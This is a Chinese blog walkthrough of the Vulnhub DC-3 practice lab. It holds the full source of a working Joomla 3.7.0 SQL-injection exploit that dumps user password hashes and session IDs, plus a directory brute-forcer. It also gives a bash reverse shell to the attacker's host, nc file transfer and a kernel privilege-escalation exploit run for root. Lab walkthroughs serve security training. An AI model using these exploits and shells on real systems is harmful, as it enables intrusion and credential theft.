首页 > 其他分享 >Vulnhub靶场案例渗透[4]- DC3

Vulnhub靶场案例渗透[4]- DC3

时间:2024-10-08 16:48:29浏览次数:3  
标签:word return 靶机 sqli Vulnhub words import 靶场 DC3

靶场信息

靶场原地址

渗透过程

确定靶机ip

通过虚拟机设置的网络适配器的设置,确认虚拟机的网段,使用nmap进行目标网段存活主机,确定靶机ip。

nmap -sn 

5b6d3730-6bdc-430e-acc6-c6425a4fe7ec.jpeg

去除已知设备的ip,得出靶机ip。确定出靶机ip的192.168.6.103

探测主机开放端口

nmap -A 192.168.6.103

1728295412879.png

已知靶机只开放80端口.

网站目录爆破

使用python代码+字典进行代码探测

import queue  
import requests  
import threading  
import urllib3  
  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"  
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']  
TARGET = "http://192.168.6.103"  
THREADS = 8  
WORDLIST = "./all.txt"  
  
words = queue.Queue  
  
"""  
读取字典文件,生成扫描内容  
"""  
def get_words(resume=None):  
    words = queue.Queue()  
  
    def extend_words(word):  
        if "." in word:  
            words.put(f"/{word}")  
        else:  
            words.put(f"/{word}/")  
        # for extension in EXTENSIONS:  
        #     words.put(f"/{word}{extension}")  
    with open(WORDLIST) as f:  
        raw_words = f.read()  
  
    found_resume = False  
  
    for word in raw_words.split():  
        if resume is not None:  
            if found_resume:  
                extend_words(word)  
            elif word == resume:  
                found_resume = True  
        else:  
            extend_words(word)  
    return words  
  
"""  
暴力扫描  
"""  
def dir_bruter(words):  
    headers = {"User-Agent":AGENT}  
    session = requests.Session()  
    session.verify = False  
    session.get(TARGET, headers = headers)  
    while not words.empty():  
        url = f"{TARGET}{words.get()}"  
        try:  
            r = session.get(url)  
        except requests.exceptions.ConnectionError as e:  
            # print(e)  
            continue  
        if r.status_code != 404:  
            print(url)  
  
if __name__ == "__main__":  
    words = get_words()  
    for _ in range(THREADS):  
        t = threading.Thread(target=dir_bruter, args=(words,))  
        t.start()

探测README.txt文件,确认网站使用的是开源模板网站Joomla, 源代码原地址https://github.com/joomla/joomla-cms/tree/3.7.0

1728296737449.png

找到后台登录页面。

08b19e0d-8d64-4d90-9106-bf7f5c7388d6.jpeg

漏洞利用

知道Joomla的具体版本可以谷歌搜索相关漏洞,最后找到一个github利用Joomla漏洞仓库。仓库地址https://github.com/stefanlucas/Exploit-Joomla。利用的是Joomla使用的一个组件的sql注入漏洞

#!/usr/bin/python  
from __future__ import print_function  
import requests  
import sys  
import re  
import argparse  
import os  
import random  
import time  
import binascii  
  
  
def extract_token(resp):  
   match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)  
   if match is None:  
      print(" [!] Cannot find CSRF token")  
      return None  
   return match.group(1)  
  
  
def parse_options():  
   parser = argparse.ArgumentParser(description='Jooma Exploit')  
   parser.add_argument('url', help='Base URL for Joomla site')  
   return parser.parse_args()  
  
  
def build_sqli(colname, morequery):  
   return "(SELECT " + colname + " " + morequery + ")"  
  
def joomla_370_sqli_extract(options, sess, token, colname, morequery):  
   sqli = build_sqli("LENGTH("+colname+")", morequery)  
   length = joomla_370_sqli(options, sess, token, sqli)  
   if not length:  
      return None  
   length = int(length)  
   maxbytes = 30  
   offset = 0  
   result = ''  
   while length > offset:  
      sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)  
      value = joomla_370_sqli(options, sess, token, sqli)  
      if not value:  
         print(" [!] Failed to retrieve string for query:", sqli)  
         return None  
      value = binascii.unhexlify(value).decode("utf-8")  
      result += value  
      offset += len(value)  
   return result  
  
  
def joomla_370_sqli(options, sess, token, sqli):  
   sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"  
   data = {  
      'option': 'com_fields',  
      'view': 'fields',  
      'layout': 'modal',  
      'list[fullordering]': sqli_full,  
      token: '1',  
   }  
   resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)  
   match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)  
   if match:  
      match = match.group(1).strip()  
      if match[0] != ':' and match[-1] != ':':  
         return None  
      return match[1:-1]  
  
  
def extract_joomla_tables(options, sess, token):  
   tables = list()  
   first = False  
   offset = 0  
   while True:  
      result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )  
      if result is None:  
         if first:  
            print("[!] Failed to retrieve first table name!")  
            return False  
         break      tables.append(result)  
      print("  -  Found table:", result)  
      first = False  
      offset += 1  
   return tables  
  
  
def extract_joomla_users(options, sess, token, table_name):  
   users = list()  
   offset = 0  
   first = False  
   print("  -  Extracting users from", table_name)  
   while True:  
      result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )         
      if result is None:  
         if first:  
            print("[!] Failed to retrieve user from table!")  
            return False  
         break      result = result.split('|')  
      print(" [$] Found user",result)  
      first = False  
      offset += 1  
      users.append(result)  
   return users  
  
  
  
  
def extract_joomla_sessions(options, sess, token, table_name):  
   sessions = list()  
   offset = 0  
   first = False  
   print("  -  Extracting sessions from", table_name)  
   while True:  
      result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )        
      if result is None:  
         if first:  
            print("[!] Failed to retrieve session from table!")  
            return False  
         break      result = result.split('|')  
      print(" [$] Found session", result)  
      first = False  
      offset += 1  
      sessions.append(result)  
   return sessions  
  
  
  
  
def pwn_joomla_again(options):  
   sess = requests.Session()  
  
   print(" [-] Fetching CSRF token")  
   resp = sess.get(options.url + "/index.php/component/users/?view=login")      
   token = extract_token(resp)  
   if not token:  
      return False  
  
   # Verify that we can perform SQLi  
   print(" [-] Testing SQLi")   
   result = joomla_370_sqli(options, sess, token, "128+127")    
   if result != "255":  
      print(" [!] Could not find SQLi output!")  
      return False  
  
   tables = extract_joomla_tables(options, sess, token)  
  
   for table_name in tables:  
      table_prefix = table_name[:-5]  
      extract_joomla_users(options, sess, token, table_name)  
      extract_joomla_sessions(options, sess, token, table_prefix + 'session')  
  
   return True  
  
  
def main():      
   options = parse_options()  
   options.url = options.url.rstrip('/')  
   pwn_joomla_again(options)  
  
if __name__ == "__main__":  
   sys.exit(main())

1728350403650.png

执行获取到数据库中保存的用户admin的账号和密码。通过代码仓库源代码和数据库存储的密码形式,得知使用的是bcrypt方式进行加密的。使用john或者hashcat进行密码爆破

3dffc02e-dc76-4c3d-9792-d47dfb105401.jpeg

1728354717078.png

渗透过程

使用msfconsole进行attck,成功拿到shell.

search Joomla

use exploit/unix/webapp/joomla_comfields_sqli_rce
# 进行攻击
run
# shell

1728355803590.png

进行shell反弹

# 靶机执行
/bin/bash
bash -i >& /dev/tcp/kali_ip/8888 0>&1

# kali攻击机
nc -lvp 8888

执行sudo -l出现no tty present and no askpass program specified,说明当前连接缺少交互式终端,使用python创建一个伪终端,提升交互。

python -c 'import pty; pty.spawn("/bin/bash")'

1728356489852.png

提权

尝试suidsudo提权失败。使用内核漏洞提权。使用exploitdb搜索内核相关漏洞

# 靶机上获取系统信息,获取到靶机系统为Ubuntu 16.04
lsb_release -a
# 搜索相关漏洞
searchsploit Ubuntu 16.04 

d4972a6e-2bb4-42a9-abb0-c890e5644303.jpeg

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 
# 下载漏洞利用文件
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

94bcdf52-9414-4d6c-a241-561e1e71b39c.jpeg

使用nc将文件传递到靶机

# kali
nc -lvp 1234 > 39772.zip
# 靶机执行
nc [攻击者的IP] 1234 < 39772.zip

exploit文件执行

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

成功获取root权限
1728361409510.png

获取flag
1728361474210.png

标签:word,return,靶机,sqli,Vulnhub,words,import,靶场,DC3
From: https://blog.csdn.net/qq_45776114/article/details/142756511

相关文章

  • Vulnhub 靶机 THE PLANETS: EARTH
    0x01信息收集1.1、nmap扫描IP段扫描,确定靶机地址平扫描nmap192.168.1.0/24扫描结果(部分)Nmapscanreportforearth.local(192.168.1.129)Hostisup(0.0015slatency).Notshown:983filteredtcpports(no-response),14filteredtcpports(admin-prohibited)P......
  • sql-labs靶场第四关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①Orderby判断列数②判断回显地方③爆库,查看数据库名称④爆表,查看security库的所有表⑤爆列,查看users表的所有列⑥成功获取用户名和密码信息3、sqlmap注入方法......
  • sql-labs靶场第二关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①Orderby判断列数②判断回显地方③爆库,查看数据库名称④爆表,查看security库的所有表⑤爆列,查看users表的所有列⑥成功获取用户名和密码信息3、sqlmap注入方法......
  • 玄机蓝队靶场_应急响应_48:第五章 linux实战-挖矿(未作出)
    参考:https://blog.csdn.net/administratorlws/article/details/139995863有机会会再做一次。一些想法:黑客利用web服务入侵成功站点后,一般除了留下web木马外,还会留有系统后门和病毒比如可能的挖矿病毒。检查web渗透入口的木马,三个方式,第一个是直接从日志里面硬找,从上传的文件......
  • VulnHub2018_DeRPnStiNK靶机渗透练习
    据说该靶机有四个flag扫描扫描附近主机arp-scan-l扫主目录扫端口nmap-sS-sV-n-T4-p-192.168.xx.xx结果如下StartingNmap7.94SVN(https://nmap.org)at2024-09-3019:25CSTNmapscanreportfor192.168.93.131Hostisup(0.0024slatency).Notshown:......
  • Dc-3靶场详细过程
    一、环境搭建:1、靶场描述DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于......
  • 小白学安全:搭建靶场
    DVWA漏洞靶场DVWA是一个故意设计成充满漏洞的PHP应用程序,用于渗透测试目的。它包含了多种常见的Web应用程序安全漏洞,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等,让学习者可以在一个安全可控的环境中实践识别和利用这些漏洞的方法,从而更好地理解和防御实际中的网络安全威胁。DVWA......
  • vulnhub-Lampiao靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、Getshell3、提权四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.202.134)靶 机:Linuxlampiao4.4.0-31-generic#50~14.04.1-Ubuntu2、使用工具/软件Kali:arp......
  • vulnhub-EvilBox---One靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集①主机探测②端口和服务探测③扫描目录2、进行渗透①渗透网页②渗透空白页③测试evil.php的文件包含3、Getshell①查看ssh是否支持私钥登录②获取私钥进行登录③John爆破ssh......
  • vulhub Tomcat靶场攻略
    一:CVE-2017-12615 漏洞描述当Tomcat运⾏在Windows操作系统时,且启⽤了HTTPPUT请求⽅法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精⼼构造的攻击请求数据包向服务器上传包含任意代的JSP⽂件,JSP⽂件中的恶意代码将能被服务器执⾏。导致服务器上的......